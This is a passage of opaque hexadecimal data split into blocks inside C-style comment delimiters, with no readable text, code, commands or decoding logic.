fd4f49263a1febb4aaca8fb0787260f5879b60820c50eb868a842d76fa81d922d54f7290fa814b14903839973f179446109a795ce078747b7c32d6aa0190dc65ef9b308fd7f3ee56257854879daa76bced959f7ceb5de3fd0f321f49ce66a6e7b84b6c05c4498cbf6e172783c6cfb7a71c538ad554c29507c638307dcb49c2a26e61ea6508ee5e4a18f2e0804812481215c9deb2ef5cfccea076ae3cdafadf886438dbc7834d4764cdb59926ec3b4f06cf10fb691bd49c8de74e3bd6aa33bad5aa3a708dbbd99d8df797416c36b595d3e14871807f9edff26dd19688ea75094ba885a7d51f2a87aab6972b8073c5d412b337cc00d3290b9d7d4237f2f85b3813d10630e6baadbf6eb21fc48dfda4b203eefc7d7f63bb38e1e4d632f98dd3390fd7501982db84e56e2f149b64dd9421843c6a3b958fbf96a762c4788f2ee3916236d6d4e024deebe0a5cbcafb51443b5acd70948b402110e66225bbdc50620163bd666eea375f4eadaa4a613d5d75fb0831837d2ae4d3b4b215cce090224e3d4b6823bd1e9537160c947ea07c7963e138928ee68cd4cc338b9749a2168816da32f3469f93d92404672dda0e8895ff0a33ac09aaa5c7ace78c8dc0367ff8ee151908385d5b588a10e6f32aa0a012496f1d48261eee2a0dc047c1245d1b3f182f07730ce4a211fd9680b5abd62413f19b70829f3a46f9b30143e498fa14d9cba6a9a35c79f162e46866ecbfac1bc8816347c0125042762c50927d3a0abb957dfeea944db988b3f3d72784470ea69193416cc80db9d052ec74332f583f411151dd8603e07408614673c15b4fc69ececbf82a76984964ff6e27c24f5775830962a9f46ae81f4ad1f49ef9cc793ba1f7bbf09934b5b2615002fb047009f63fb5bda2d337014cf6e7ec986962a46d96053ba4aa9553a1ee835fb6216b15e90aadb0f405fd392ee1af42cbff92d5ed06d9a60d732f1d43713ceca00dfdb9b7d50b70ba99fb56d72e6db9c25e6bc7d296f5576500c49ab5d66377775df14ed1ee9cd1f8275a774a369f1ee934402ad1b2ff4e718493a7fa284c443a325b3b6a9b04b703ad89347edbc6e1918a442bdccbeb3577e41543c12cc4b3e792b411bebee9c41241bb56ede21ae7383b75aa9b0ebfbc629f8cb50b72fa18d8b89c17776ecf30f01879752538b2a2976ede85c4bcaf218ecdd5bfd9c0eadb8677d816c550af5f855d7ec6586dcc1027252bf8b57f07b1aa3355ba02980a40a2dec9f1606cdaebb5ab916f3b45f309595970302f912867b18d79f19518026d5d9c8f5e14d310aef38ae55868433eb864ea8d87aa3d96b169755e0b70129affcb585bcbae6293171b9b3a993e71136f9102a0ea5ed6978093455eb2e786bfcafc31888fd7469a86f6864da30b66ddda5a8637fdd0e91ba3e04039b4570eac17109fd709896769eaf0e3623f8*/
/*8e7bff2b6e22b2252e69d1511d9d7f7f9e3ee7da590ce5963fe839f8071cd59fed4b861cc71bd30e6b1fdf9314eb921ed2e9dfb5395ae03a8cf53cf9d83eb5e275f49eb99fadbf0466e752603fa59c4069e809aad7deecb9de55401e14a319d846a4ec76d06af8280fd21d19db5cab9ab71a12d5e1a8fa5afc63a590b7a54f0dff4febc9993f2fd78c73625ed2ee80285c84723bffb377a6e1b945d9058fe3fe2da2b074910c4e40684ac0da1af4921618885b54303bd37786b64a13b55d004aad9b10b78fbc473c46ca13037ead79120ce9f17d92fbea733673832b7688689ec956e59469008ab065a99a7c8ea4b58a39ec29b703d16d38d4f0b5f1a1a0ea2f3763bcbc5e0156ea153f7c54c7f3f2b4e220ef99e6ef2862360ae0d81c9fa0a429cf20204fe1d1ffb723a85dfb69f3752ab88e4b1a32b8c27b9eda7612d7ca46dd3da8867ceebc139f09b51be9347c804a75afc34ac315961c0481ade6d37391024aaf4fc1febf417909a7ecac0613b5f25103d3caa5d62b40c4f5ebc89b5bd0c1791b7400347dd490aa4b2147b9007f7df45519874a8f9d1c3b6d81d4cfed7fd66cfb839d7637d6495392c44035a9fdfe1dd770114aed70be39e24b16d61fed465efb2b3f639ea6bf04e01bde25ea97ab0ab663ef02c3ebe44d28f7add2089b4ce5522945e521f416a9ce3f87d7af65390e5565bc58701058cda922fc0e9f6ede156b9bc9e2464e4858bf15c2d3d4a97a5d7d089483bfa0a9f2722db4e554ef5f2171488060f6caeac6c98f0e66cea93f3a5253b9b3b6b6a010d40735e7e3860187a957c70cb4512b3422ec0faf4ad5674ada30c6d6dcb4d167d953c4cb98a130db87c42b91ff81c8f370b6f23b83fcbd7c523466274f45ed156da81e233a485abcb5157990fa6c51ee3fac76f1340f6c9931572becedc41db42f57c63cbcf77d909e0f7ea2816a7296d2a73d3a59a8732c6ed00f39d08e07c9817327bc399be42ecac762b063faa37042f2e18a3a24d29234c964db0ef5aa1b4f5bbbe72b80728f4a49c8f93b58f40a671082f6d2c5e259bca52872d3a1bc460e8188611276eb64998ae4047f57e315860582d8972c374f2d7c389aacf32c03a66f19ac1a9540c904f938a0de0bcf12436c7b9ff186121b092abbd4cbe3057922f1f2ea9ed362a780e1bd930ced82949237574b8dc5dd4ccfa40cd086b1c6028d827e57549f7f5558300b7fad9d0071bbfa58eea0a0c07d94db9b4e745f6cea527ca20052738943a839a88013a5a010c557dfc589e013881aef0ec3f153bcc3f935d51425109b0f79b9fc82d90d552786d9d698581f4d7a7b019a7808af19e4aa07c53a570458a62f94cfd40a1dd002ea275f0992df4d2c1aa1a74a08ac61c654c761aec51c46828be3c0b5fd9130bb0f30c67a571375cbab8caf8e337a19ed3e8c55f49a7f5f3a9655bb00a0ecd8100a92d18e2ad81d652ae3b72de4b68df655b85fbf8facdbb0bf780be505840d4e6779a43561908ee81b3c813612047c50f69b54f5fb176930d4089c1e581330bf7d2c446d798211d120c8c69a38082d400a6bc22e2435dcaad35ba6f9efd5012b249d7a921b514132247c6b0dfaacc5d158da87cdad58494229f29cd132f0829a3cd66fbfb1825150dbf29edf7d03794ab81e7806a4b3ce8c4815a7d0f6e931084919357f0bfa999fb449cdc73e64c84dd6e641c38e4d48ba7190f409c29dbd73b8cae16d9f10fbef67cca98704db39b58f6ed13e01c028e9a595be75bac6efa02a3b80df2abf352c2ba59a083cc35defcf550615cc9e7428c61a50a49bc6aa54ec14530a985f72ea74ece80f4b1a1d83f8a2dd15616b83a420ad0ed92c66124a91e0ddbf1dcf5fe26763bd15d0501d4ee15b66ac5f6484e052dcb0f31267fee597af8d836f274f0eb98f6e3d5bf97bd0bf28ef7a8c3b0163f5788aefeaa38d0e22d21a5a7aaaf701e6f70657246113b37e84ccec18da089f33437d687041340ef1b3b8608a3496ff99f967e80caeb48684d29d5eced1774af8de8338be3a8d915c6781be920effd8bca119589e3112fd7278c4953aacb11574243e939467ec76c87fa0cbd266990f209bc53735318723f8b481a13fcd2c5e6c4988dccfb29d02fcc276ea8dd84889d6935d896b4743fd8fe942e8a6dbeb9276ea0252c0680fc2f63b43c61b2e87ca8e5fcca9adae319fdb0837472d20b33f013aec8010525ca18d615d4c7510d0fbd23348306754035018ca814fbc99c2ebaf36e99ec210662cd4b7cb591d3636871a4f21a1680275ee880cf03487d70dcf8383b8a5939af97e4cfe99f5b6369b1802f1099c6ff13fc58a6aa39e8f1758d8271828ab1b90b1d7e4c69d7f73e6b4641505c544311ae6a1175e28ff99127f7f31e22bb4522f6ee647e88caad24c8f7af3b54405caf0c39ae203f37b3a510fffe815f98736682d9100ec091df89f1b5761ae2db648e2bf8896f7dde699e705f4cee9aaf7cb91cda99a220df1e838a2e0d24e27214a30c454779a2897543c523a639824bddb3512cdc1854ca43c739f5ab962ef05b3174e69745124e0dc7e5010bf6284b9f3193c9a9adccd4847e9325964d761db3cbab39047948c4cc92d1284b9cc33d0f318a5f67d9e1dad8d42cb3c9be802214c05be699f3eab0f644e1222023dce1e1d0cddbc27e9ee54048d18538144f8171c9ce91c31c97c61df066b83fe13b8df4bff69975952a26c9af45f20d7f8093d2908904dcaac9002c478d16e5391764aa812eea983d502d93729413a34389f1bc037f4f8a71394e875bde3c9c6bd38db19fd44d9b47bb3190230*/
/*39896b126bddc068a14c0a31dcffad01f615d23f4116242fdc901eafd1fe8c9a8b66cf56852d842c52e6085a66cb85422686601af26ba8cd766ed8053871eb086dd35e715c62c41e2a73d5293191e058792b2abf879fd5c236349322f3078833f6217e22a43178fdefbd7f52ffbff530ac131aa7d98733dc2bdf351831b6ec5bb4e2b58fd9d8dac9d0274a32eaee1c428a3a7f388d3fa2a0eedc6314aae57ffc850d74cc5edb7b79f50f655914fec830b232bfbd475016255b1da4a2ace5a1ba3ce82e6f0da191763b3895610403513a39ad532459d6980bfab3bca072ea7944835eac465c540b7fbd2feb266321f870e0ac01584150b677608e9778bd66018c52a916341b99f9e2bb666dc7f9be7db08045fb15d688b6e0acaf9e445e9aadc438e562423e53daac3c69680fdf885e24d5059f3f55ab9a101f61a6bb0b220a0f3021c121e551d815dfea37424e22c6f2b3c0bd2565579ca32919670907d67e15b970fa9620b675d01833212fb83dfd31adfcd81feb03d3ac2ce612c5e3f0e81d5688a6611bfcf7b7b303a185607aa42d1effa4e70ba1b39e6cba66b743ee424fe1014fe3b86097fb3dbc268e4ce01290a7762cafaa2291298738f997346d381e678a64d8fea68985c5fcf44872d971fc607608294223112c8b3f0fb9c59b6598b9123dd70f75063ec21f30d9a1847be57ec8208a5a25b6d8d52b59717f29cb75c39a349c0db5b19dec2dd0ca942e35032c3fd84f050c8b647b539b56ebbfe4e5f12cd5f755f528eee81744366777a6032ea9ed2d03ee48dd734e374e5db2b7e2ea071b00607e6d3d46fd97997ca8e7660e08f50b1e9f2dc3734fdf7b1477d5b0e7f02164a71eff092168d0c02c4a6723d01945c8408d65ed59e737daa326094290e0618cf212af9a993f37daa4a87db22f5d1fdac731f8269f9776a64f73d06b01cb94aa5aeaceab78704045eb69faca3950b364fbc1f03a8e1d03f3b84b3c422af4be0d8cc2f345c6dd5006a2d15a075d56c68c43b5907fc9a41be870ab3a150bb2da81f2e405614345a54748ec9782c870c93ef54f6b9d806ca40be365a87c2d52b7f6883a8d38023a1be26b3092cbf7e7ab41795546eee9142bc01543cc6903929c274746374ef14f223aba656e7d3004f336883836189866caf555aa91f3604e240dcc6d48e3efbf8881c27466aeb87b1d7f2f0367e119d93249f75caa483012a28f7af51cee700468f972bed39799e5c1b1deb34a0a7336bda9847c3ae9c7724602358fe5673fb54e3ad3b1e076f1a4f665cb6538ec68d25aa6e741e87d27158fcd84284f7936845208d6843432a0e5b43d4f009f6e8c134858dfc022b3e8b374c790b6a69b20d0eb120529655c811914cbb4a5a78ee575c320cb649a153dc147a4737a0aeb144927a95a83537ab2e44ca6d60ba929803a97a6f8c686e96937d4513e583e2e80ea282aa799f983fe840a6abf3011fb52978cc121c3b11610e53471772ffecde5a0fd4dee209b44675b592d97d99fb9322ce15e96c1759dbf34b4932102b4261f8211e010900fcbc99e987157fe4369da47dff270ad47cca71852c9b50cc2522c16dabbe78e63e542acc090b82c7e4727b5a69e6d0bab7fec74c05be22c9bb036246791a3a314f5aa0eb51b43062163c293f98031a04629330066678b7b3d3d8899c0766803971154ae22e82704a5cf8de1284e5455b2a46d92969836b08dc6e29e74f4e47c0be3ab7968e212f965f8b8664ba8b64d679a8d58a31d8238d014d2600915191f016eca24e6e26de24fd7ea727fe95439e8bd5f69f8b88c829df12963971343b6c41cd1a90d7c6fb8e519d45c2872743119684c9808eededca79e1b005ef0ef00efb14c757aa97ab8908aeff48d1db4f4c7a86c4331d6d416554a26d7840e3b90ddd162fc3918358ab33019231c563082f79b7d06f8daa4aa7e92ef7c1a5ff90fdd0016c8efc57e6caf79c24242a97663e680cc477a6c8ffd68f18a3f83f5f43ff98d57e7a04980d7df50029410857801d5d4b00a06b5acaf6ac1c0b47bcae38fc52418e80625982fead7e4f30290931982c56c21b5d1fe19e07bf473d1795615de3ab41e95f240afc479729d1c201e5842cb6a595292fdd6f5cf04c59889a9d0d504385d233f5fadc6dce73056141c0471e44c1a4f7f464b0dcad3ebbb2a74281ee4a06d059eb80f3524c7f9cf6e14892dbcb46776bf261d227f1c6ff450bfb6f7dd5dd2531aed4c601df511133e993f38e22c19d3625d990df269dd46ba1e664b0ad5eee3f331b834666d703b1b19d0770282fbdc53817d0edd1f25e0d76066616ff2597134ef7b65c6c010998752af8cc095f9d682eadf8605ef270bcba8ec9460a79e173de728804f02c33ffced00dcafddbff619e8c4a47b84060136de117c09d93bdf8c569d7dd8c5b37c959ec502038d3a43b8813a9f1da4249dd8e4255f40cc93624456b836fd1067db85023f18b67f1b9ec92c80a48b565e599c1a6d822947c4548fb27373d733492a816781e22adc385bcd6ebdfd8166afa08bf260d778a66021699780c34a50f9a73d76b74c3b1022e9f8399925a38131518f5e4e71b125cbd8810f9a394fe5e6b154f3de49121ad35a7b267727883e3454f7bb3c008945c57b000167ba0b79a3d44d8100bf4ba19a3592794df8149723ca2fc0fecbb041b9c2b5fa710ec41592d9f2bd2170c912c9e23a4bb272b5bd9208ef3b1d7c5407eedc023b4578269b1eb65ce289b936a79d85b5f3b9ce641cc9bb933db9fe804a8629ec0e5005351591055c0cb1111d5cceb7dd0497538f6f35bbcb8b5248c0*/
/*2962076b738ba3df07612a2ad7ac3256b1f017fb3eea509c8df93fb9a8d4a930ba80742ac14f474476962d9fc65ccb16fc3fa0fb8b69366d8b48e52f413e598b92860725bdeb519d3ebb234cf49efd98329fca9352b83b43e2f97040ff3473f4a0bcd37de5be7626aed9f95e83c4ef929a45ba6267a46db27cab7a066d58b245d8158bc748e7981eb24d090759ee3e586ebdf3a68aec1440cb07f35335ddb6afe8a17d52fd8284d9801d40348db8c12e0382e67e58f3ab31f6a6987dc90c83639e039326af49c4f26e11d1de01938a8f3ab66db059ba1a38f44caea5d4d2d62bc7a4bb598970c46924885e7ca99d2287cfbc283a28f11168bb2837dc9e56448e180952e7c9afed89486743b3ca995a03b95f2344e38f8b151c92b85a61f3e4876eb02c59a1eba3529e0f819172c53a728dba9ea149e43236a55115ee81cd0a9ee66bad497ec0e8b30db1bca3ca56f2e096928a06fd03bb7601459e9f888917264ded8c4f7829b6b2cd6e227be443e0e13b64fc9071a03b932010dcf10f2794faab70f24c4d740d87b94a26ab5a7298d201ad9b58b53245569f8eeb229d34b48d2cb1192fb838a81b8055b8cbd35d5f032cf8d1f311fb724f489e51f1b025c9f91d76c145c0cb50a700f063ebb8c94c21aee9bcfd969635916979e0d9f13b854e37d3a33a742d4da05cb10a0fe4283e0f51e801437411e17f2e139f10268cd906bb7dff11f00dcc036b95bd0d5082f4f285e44e0599fdbec26e8876d0f9d4bb236f275aeae696d96b136a470ab10c7ca69ee70ef14c61c0ae5d2045ebd156f1db6456648f6a2fc6cb8522bbee84926ebd2407775aff81f7cf149fe2c91a92fb2f7b42744825a3a7deb6660c1e63edff2457b442f7f2866e306da502c17409a07ff3a089eedd439d199dc63aeca3ebfdaf869f9149c1580c6b4e1d587cc4093d93437de3744a4717756616c8675330d06fedcfe08b0ed792d99e74d054389deb44506cb1a79126fe96d679e7d1ffd2dc7acf3a8b3de61c0b6663ef51ac49372f5850cfdef695c20e78fc0d3e93737242b7ff2f6f3b89c803a0cdaa44eb7ace810310ad3a66424a27a82a722c59a054ea64742a524811750665992df6f72ab1247ab673bb6c799455c96da0618029209c60fd72ec4058574786a41f411380bd2073a5c113bb0e86888e47e5ea8ace726ac5bd2001ac8e5895d046f8f08201d0f33ae1a5f263e1fc7d94742a185f5af96cf755fb633bc24a1004a8cbf9fb28f5f1d57ae3fc2f520c1d4c996a58a7668f5d40758adabfe4b6eac3822cb0545646fe694e742617fd781d37475892e3f8317bd11977ce90600bbae5d113d1aa7e5371cdefa0b0a83ec56e69dfec83aae586906c7c86a910749e805e444bb0d17d390754591e373534a2e0dc3cc2b1d0cde42315c5beea8d1ac45705474afc7354206f60133a763d6ad83f361e6b6dec01e7b066006ab1d15348860575982f2722339ef0de054094c7151bf75c94262c21126f00ebc35e4ae9a32b74ed95173dae9af6a5a283f10bfa667c3e8af81a42c70fed1c189c3adfa2389eac96d26541938eb025caf86c4bc03098751b2105ace387f7f6beea22ab6f86547ba659934d90da7d976d28ee6feb3a815ea2b27991234ed37a750e9fd077dd5886e057cd27fa11063d9e9411aaa2903dc6a02af24d8a9a3be1da04855f81552e1a7d8213f029056040472c55ee5f1348a0e6d6f118c1a0fe6afb9d26690ca48fbc3b17d3611acaef31b936ef8486a1aaf6bc85deef3708e0efc938aaeaebad480a0aaa6f59344025aa240780b5a7dbf0a583b6ad44e086a5bf8583d1b097ea43083e9e4c33c39726589441f52a966fcf5f1fa7dfd075ded26fd4692d4537a36c284dc80e941ce74ea0d27613c80aa8eab5beae697051501f28bb02d503397158518363d59c43b99e90a6ce68a6641b0f95dd156bd1dc5d7d5017102e62a369c9f8cce1fafdb6b2a633d021fd26d046c9d199802aa40f02709b856eb5676ef330565c40925652f9ee3704aae5eabf116707beb8a4722c786e75dd47870a50175488fe30a5de418913566b62f484c708ec90761369f942bb851def96ae24a2baff6bf2888df01707686e85977e35f57fa45f8533f0255fa83a65fbfda4e414260a7f88d93e9a73f8942c49115a458e385a305a2734ac5030bfbdb201caa9e2daf987877b2fb5f5ccb50ee754fe5b3fa98bc5d0157492a2deaf68083d5360dd4cfbdb856878bab8cb8bdb7c7739ec520fb18f2144c29e72f61f9aeac3fd2bf6aeeab4229765d3e3ef77d09d8b1611b231c062a21a43bc7f034a75c7ad1cf1fc0e8106a46fbbffeabc470b4c7f586ee86dbe4a36823f17d1d16094206d7c1672506c8892e269ad558b4f1cbb7116568016a1d187db858e9eede135d4a6e20cf880740452668240be8aa817dec7a2a6c3c425f6eeb0b009a1783e7c2c8061b39d7762255fb5a3661099cc51130b7f4ef27cbd4f5418939605f299a26a433297413bcaf241677e614c72d2c02c556dd088f4e81c63cbc3e84bdcade6234666dc36f4709ec8a5f5e55c8006d3f6ce1c937a262c35b1d66db14b72aa8451e2f8ab4834df972307ebc5df0da38d1e9eb107b00292b5f4d360be7f534a9fd47932417036e56bfaf1524db1415a9521e5e1b74307ff4d228730a748037c6c31c8004f446ea41be9b1515e0b2b118812d7c881ea37852c79eb59ef0e5a3577c82e901b2f12a2848758b4f6159503fd7989ed491ad527db4da801916654182ad7669f288fdc3b7ab65ed922c18ef2fae4cf852b38791c5a218a834797402064*/
/*e8328e80b5feaba375b7934e4dea79d55002b09416d7af42c186fbc457de64c67c05815b13de113bc2c6901f4a5e7d98e35ed5a835dbf293a7fa41885ac5ec93a48f0ec9d1f5b12d5946a2b2195bcc7ceafef9600eaec795d39c41961d616314da299277b17970d57b069e45dd500fb11e9d142540601dacc072781b417a995a05863593c24ae09842116f5344dd0848c2361fe5cecc1a8ee0acae7ddc51cac604f4cf8f498eb1f8b0fd231a23f3b9a54ca15fe33cd694b95859eb160d0359a4e2e112dbaf2626a3c542f2a3501e097945aa9b32a734d25b0fedcfba638a5c97af5732922c5654969b0128e466f71e654bfce570e4e9a6261a44c0fa6e8e3a89049c714fda3ce4b9ae56600977b09459cfd147b7300a419d996c99e983ee12aef94184cc2b28baeb6185bea507665e62950b6f64c060f903ed0aab6bd228bdce7678b21d2f0d2086a638069bef573abec3b542fa2709de150aff9d8fb858391aeced064d621bb5f5c571fef6bf52bca20eea9e964ef36d1924d78d1f059eda0e59963cf8c815d9fdc15245b31bfda964f2a5a6695006fa34c14774a48be4c2013374d45dd029681483ae7f93a4ae15120db7def53c2b96cfdaa27e73651e88f4f4f1a19552108cab38f5e1ac2982a63984a9ec6004b62d23f2610c457fe4495bf47d352d57714ed505231dee0ee8f0437ca4b7934b88041f3a143027ceaf6e6f2af75380a96fa01c611b87b766ad6ceb4d0365bd944b1b62cd3a080be6f11d37b1cd4662c3c6bf558ba75cfaa9e0969feba17bcaa3f4f4bca11bdc65ac90918b13f20ece24db569fec64a39216187b21246c217e3b3d95be9090ac2ddedff68565e2d92116b60af9c415e2e3d6a553b3d8d70cf9cd3bb74f7170bdf425543a8317b9332bcd92048f2cb7a7b8934b58cd142a6a9f05c46af2d64420eda3e589c3ee15aba66e94ef699e8aa46e76258050a225c380f5cf53367e56f37b1d67cbb393b1dae6c5b3a9131d91c12216de40a13a036bf00721d4ed2c79338100a2488294dab6fe367e43441c94f431cec4452c7b694cd5726c0200f786262e3f3819e2b8b6a90d014192587f871333829bdb9b4334c97425659a3fb327595b715ff61a0d697d054e7cf646abf5319f6a06e502641edf3aa0e6ca7f667263637718ae050e72aaaeaeb522127f60c75dccf130377d335c9ff99b46391317269001e146c4f228b82e6bb4ce345a90b38b8834e706d343da0f898b106b51fad30b548cf718b3354679b52b3b6574d4581551f7effde5e04d8d8af32e4a3a19b9598d4b1d76bbb5b4caee9151ff94f20bdef8291bfea62d254e057a8a718375884da760ff5e73409baba853903b5b5c2eb0fcc43b9335c601f3fb4faa174b9c8fc614cca8369b9f654ffef76a7f7e9ca1ac4649550e5677389c133c34e68732f94291af9050a7d14ff13faee55a900ce2052898508b53bf9bcca13ba0ef8a6d916890cb2da649f19cfd701a8f7d433e999593c4bc62c4ea20c8b2a450f2c08b2d66392641c66831f6f21a17c76eabc372c2ed8a4c8e92a15c6b5f58ef6fe21c2930fe1daa144ede146e50f08a8f41541a140df9942aa7c7a383fe4dfc5aff8271bab6f5cf213d8d572c5eddb10474f4bc88969ccd807134837fde9878eb24748783581de9186426505b81aca18f1badab20e3599ba8df9481943eae3e63859082c01646502d2834c5024af46498139edc7d8d060e37e8548dce898a214808c479abf6bece51abda4b5fb867a8bde602c97df99afc3fa6d00884e9cb9a67df4ce792021069a3d43b4d7041d4eaa485493a8f62479e5b2d722696c985a72d26c27d698a38a3159d5714e5a27f13985e53202c8a0c3e85d3ce5db49b281071d1f8d8fdefaec4d8d9252e7d3b141d75889091134b16c4f1d67c7f4eae3b231df1b1096dace731da092048648945c630eee9d017bdac06a35d873e90ebd513afc9409aecd705eb8fafd7b68634a59b9a98734cbd8bda3e41a1c15c4d82f7c4f8f2f0a36d22771bf02d21768eafe7cf7461b2a7b8f3020a90cf5e9cbdee62d00cbc4fcc090d4d3c7fc1c8dafb976aaa63e7d202f6af3659135e4a79e4939d5413f8e84617754389a30d5b02c054ca4ff3ef765d8cf1cd889fc7afb5f27adb9dba28b656866e9de4387ead46de141dd290a1b833861eecdd5298a1b9a840fac233e48c76510e18394c6fa183619cc6fdaa800a6bc3acb9e6fcd637e48ce4802206044c5c9c29cb5cf41ddc1035e6f2e2c186795f544fb1dcf70dcc7ebb0e67c59cf9db749accf5ef28224324cf8faf7a676c3f65e6f04877429099da77d291108cea41e49bf7c0f3e5b3bc862c5cd6917374bde1a6437060dc6cb3725f50c2080404ea2bf64ab7cba37826215ca09f2505df13b16d8f19ba6249e175c3cf8f32fc4318cd60e8e37b49ab78f1f305254b4370d01bd0f4e6a99d0020eecb64e2a40fd38d17ca561cd12618ab2824520d1762bcb6b6402c1d2394ff1d1ccc6537b5a3f7d72ff47ea56cc5d4fc345de9374dc43e1a338277a99f90ae699190ff35c529e2e3b1faf8ffb0df67cfce6ec5b84975bbf13bc2d17434b35637f3992583db5f5901178211800ef8a6afce839ad440738a049782975d009a4d92ce598fca2a360fec2ba4a9d7d62ee4ca3f70cd4c744362d7f0ed6ff223ff33b94dc54a0ecd2948b976f851855bfb5b545a485b6ef5e1c6f0b4d8d15437519635d8f6f1a5f2fa7844a0a577878ae59aa4406efefc059d0bf9f4f6779ca98eaf90e62f6c369a56c423b837f0b5add18906cee8b08cc056e5320d0046d48ca9*/
/*fa5d30938f5923a12d980135c79fab8a7e45cd5f4f73f1ac351e0a012299a36590223d5c15ecb7ed84c0bad1c278a24bb79666f147715bf109aa617975ba818572ab88d50f4adc5ace35f87fead7accd5636b0b1c28113643f6e59295804057c7e8f38aff7b38bd5c00fe71826d404016257d58a8cf55344700332bf9ebb0c2552e9148030ba755bce5cc4dc2d3e1c4e75e8fead7e15a44d8859e0fee89c8b5f511b27b2aa60f6d082f6847bcc267ed7bc22d1ada1499f71e16287dc938019dd975df7e333cfb9704493d408caed5712105ddffec826e06c9925cfc24c762cabad1ae002059b8ae36fda38ce80668536cb6b7abe6ece452abd5251748fc0f2e2de494ca1ca2979573b35cf5370367cd09697024dcaed764c44d13e14f4a6a845b588f8cfbcb3c7e40d290fc271a4ff286f0f533a897973c2d82d41af684a503fa849bf9512dc05fea303850e6087de577d0696343752084091143b5897e2bf272ed69f145815dbb54b212eaff79f7d3fa323baf7418bc120e8248dbfa6cf03fb3741fe2082a653510278231be8bcd8f6a80810929c2286badb34220e23e9907f0a1ea58ea700617ced3a93b0140cbb746f9fc807ade90cc98389a0af56b50fc1fd527187132f5e56a368a90480067f60022dcf01c0136162fe7b5c69116f9fd60c7b742f42103829bf9a77cd5e087fb650b74f9c615bcbaf35104eb2826abdeb4dcf6187c67c4e26c246cbaa845bec9cb11518510d2b43b742f446535ed6268194748eda478c1ca7649b2aff54d48c64a38aa773fa1b21ffa21127b4bca3634b830958bbf7942560f4dcb21324ff4e5774386ee1aab05d89dec46301c78abd9c5715d04cf1f32659c95b118f5507187ea3b06267f02b8956e0dfb1ce2a78788e1c9519204c215b57160d3a534761320341d294623a5989ee92b7ec35d79dc2e74b87803f481df7d59983949cd0ffd8e4ee06cd4e6c3d1d9a93fe936e0b71fb83ce2bdfe8bf6620067bd24641e7190bd3816f8293c5d420ea42334b407e9021277ba8bdf7208b84984f704aa473c9d5d914c1b71599d0826dc6bec8f11085c5504e60777deb0f4bc9414920a02cdd7ec2bbc5dd7b29581aacc6271b4e2cc6a1b25454bc442a31b125794e864502414c7d14b4d122e0bf8ab3159ab8810ff81d8e270cc69099a98fdc6b841e0c7a9f5ff06eb99ce7e25d921c95031e09d366d7ade71ba11ae80287f9629b3f7410a9d7d6ad43b2d52d5d10906424910bda8a3f293e70ef40d424c2662178736de44d507ce91a3e40558f8eecbba4a3f842176bdb01aa2ab4a3f369eef3faf482b58a42bcae5f1109791404add951576d1b4eb3ec37ce59fdfdcc2e1171bec42bd0674a77b3cd9527f1dbd3ece50c439cf89b57e1b7e3a6b8ab49c4532081b4ed1c4c2f7418bf48ab16e9ad250eae5d87dab784bf0f674dd78a28df60634308386522377634a152b469527adc8b0f827718b6dbaafe1609f3dce7a7b703715ad46351129dc00690c90d87d7bd226c63fe2e276fc274db294264310ade201b7e24e1aea61440312b978545a2a282d7960952e74ad5272521b4fef14c57f5676884663b0cc53c369080ebd99debe5b4349d4d0f22588a81d4f810ea1742a9425f4deef372291e99119009410874c38d01992b5aac8ebcf1f3b4f82cd7613293e2b9289d000a8c05f8670e493a0a0b4e8bb18346be981a7e487a86c42165857d44586fbd130a199b78506058b791cbc5d1ad15f51764250267a6c26b954530de2bea2f0094bb948a49344a460ccca3d55f30c1afda08c8cace54f7bfc47c6e9f0019e7f0c8cd7ffdf5f238c4a79e17a28eccffdb09f18c0df67db29874d62af463d2b585a4857ebc268e54e9126688555feee8b916256ef0fcb0db541e5c823c4c53b5d03151c32da41536ba25661b0c106c636455407b2c4b2533bb80f8d2690f911745d788abc468dbc080e59a903b31bf14c11c30b1fd2f8935745ae7d5c9d57b048fa101a6b13c31e45bc89fc3e0f793779811f660268e273d0b9bf44828c6268d27b300f160b63caef2922f49d43334ac0e8e7139c948d3d1e34c46ca79c3f9cadcfc04bd725fe8a64287d63ba7fbb6407381796b2fe346e1c906df09d8403909ba4be65c29d18ca6303d438beb787f910dd4451f6e7bff966365458fb5a8af17c49070b724e91d1c8cd872841975c7c39ea6f6f725ca03f92108e21bb1a51c67f4c7a5df696a57558a1c9a82a55f158811fa61354684033e52aa63deb3f9e63a4543781cc60163559b7f8db734e05d99263aaa5009516601c3f200f177ed57416e415f8b381ef78e9db8b7e88d58a3a39704f04c5fa3fbeeea3dd6a683b5eb0e86789784f4ab3cfe76f49307f4b8c8451ec66aa8799ecba35345c04d97e5364ac32018b53312d8a375b9a53e3aa0ac7fb72d3b40fca36683655a019d242fa665f4bc967e23bd0913ab47e4c9f05e4b8ad688f54d5206c7c0640dd15e72a63047c05211ea44a4ca898697f6bc4f4d7aab0072487c302c0b81cd3524f06dbd61f10147507f592b61212b5d3879240b33c6ac7e2d9bffd2f2be6390b36e93b77ae132861b5b26018d5ba88291ce17291311a601585928f874f9c9b40c76e095b341682a6d8287c8e3322d97810365893e5a3c94e9ecfd511751770d0d0033155be62dc79b5d9f6e165fab5dde98612c0051b8b243173f5ea31ac964a8fad798545c40a4f7674ca8fb24f0906ef7a6419c424d74e8299139f05bba4ad859536d1cb2c4f11a1ff4e3dc15e378b3f4932eab7dc459aabc722577f2b936f53d6f9bd095af26ec*/
/*578a1438353ac5f01613f73b644ff81abca2cf38fbcedc0f5e346358f66302e54c9c69a445d8ca79df97d2a16167fe096d42761f97bf0d3cf3ebd7ce665ccbad6657a82a96eec8406c4a6e9a0ffa6fbad8ee7595a5934ed85897ab5fae13adff34db599dc576e765f08c877b561b36b91f871956b5ec0e0034e395ff3df661c3a2f0054ec912c8543ff9454d466fc60fe18dca1811afb190e64a2c2cd44b71ba89178aff04ec0ee4dd71ee231c05688123222a85f5344fe3dbe428a248226cd29e69d9ce677dfab2af8e7b269f7a37685c255e43c16176f22f02e0dbfb50c0c2adb7e7dbfa9a002e01e581731fc559bd9c9ad5b26ab5fffde3c9baaa28917b0f262de7de74ecbe5381dad2fca1e44e088a21346b7baf7560d526dbb1ff4cf8010f134cedc50913de9024a80243cc950cf808042806845a11d62aadc0ac77462295cc21550d44684a7cc1102360aee5e0d3aa83fe89c89d4395eaed47e7a740759c371d6ab1bf984410364951f03926f800ddfe23dd517e73ab9de987250ea573f1fbcb8e092e41518f0047664f1352a1fd133b585ac5622efb81fd4b461893a24740408722fb4adc20e6b9335b2a219a56de9bbed6778661ceb4859fa773f8524436734537f661e9bfc89c05edd690dfce473d33c697a19f6cd8d12c46a54a6521a5c118c69181b8fe8e6b168bd1f70278ad50db39867fbcf9ccbed62d6fe7a0b57e65a09b